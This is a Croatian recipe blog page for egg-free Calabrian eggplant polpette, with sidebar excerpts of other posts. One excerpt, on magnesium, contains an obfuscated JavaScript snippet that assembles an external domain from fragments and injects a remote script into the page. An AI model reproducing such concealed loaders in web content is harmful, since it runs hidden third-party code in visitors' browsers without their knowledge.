KALABRIJSKE POLPETE OD PATLIDŽANA 🍆




Kalabrijske polpete od patlidžana 



Krenete li ih istraživati, vidjet ćete da postoji puno načina na koje se mogu pripremiti jer svaka obitelj ima vlastiti recept. Ova se verzija priprema bez jaja, a ako se bojite da će se raspasti čim ih spustite u ulje, nemajte straha. Uostalom, pogledajte video koji slijedi nakon recepta pa ćete se uvjeriti da dobro drže oblik. Tajna je u tome da se patlidžani prethodno prokuhaju te potom dobro ocijede, a kad im se dodaju namočeni kruh i malo krušnih mrvica, smjesa postaje kompaktna.




Kalabrijske polpete od patlidžana 


Sastojci:

80 g kruha
3 pune žlice parmezana
3 žlice krušnih mrvica
4 duga ljubičasta patlidžana
1 velika zrela rajčica
8 listova svježeg bosiljka
sol
ulje za prženje




Priprema:

Patlidžane narežite na prilično tanke ploške. Stavite ih u kipuću vodu i kuhajte oko 20 minuta, dok dobro ne omekšaju.

Ocijedite ih i ostavite da se ohlade, a zatim ih rukama dobro istisnite kako biste uklonili višak vode.

Kruh namočite u vodi, zatim ga ocijedite i dobro istisnite. Stavite ga u zdjelu s patlidžanima.

Rajčicu ogulite, sitno nasjeckajte nožem i dodajte u zdjelu. Dodajte krušne mrvice, parmezan, nasjeckani bosiljak i sol pa smjesu energično mijesite dok se sastojci ne povežu. Smjesa treba biti mekana, ali dovoljno kompaktna za oblikovanje.

Odvajajte manje količine smjese i oblikujte duguljaste ili okrugle polpete.

U dubljoj tavi zagrijte ulje od kikirikija na umjerenoj temperaturi. Pržite polpete dok sa svih strana ne postanu zlatne. Nemojte ih često pomicati, nego ih tijekom prženja okrenite samo dvaput kako se ne bi raspale.

Izvadite ih na papirnate ubruse kako bi se ocijedio višak ulja.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više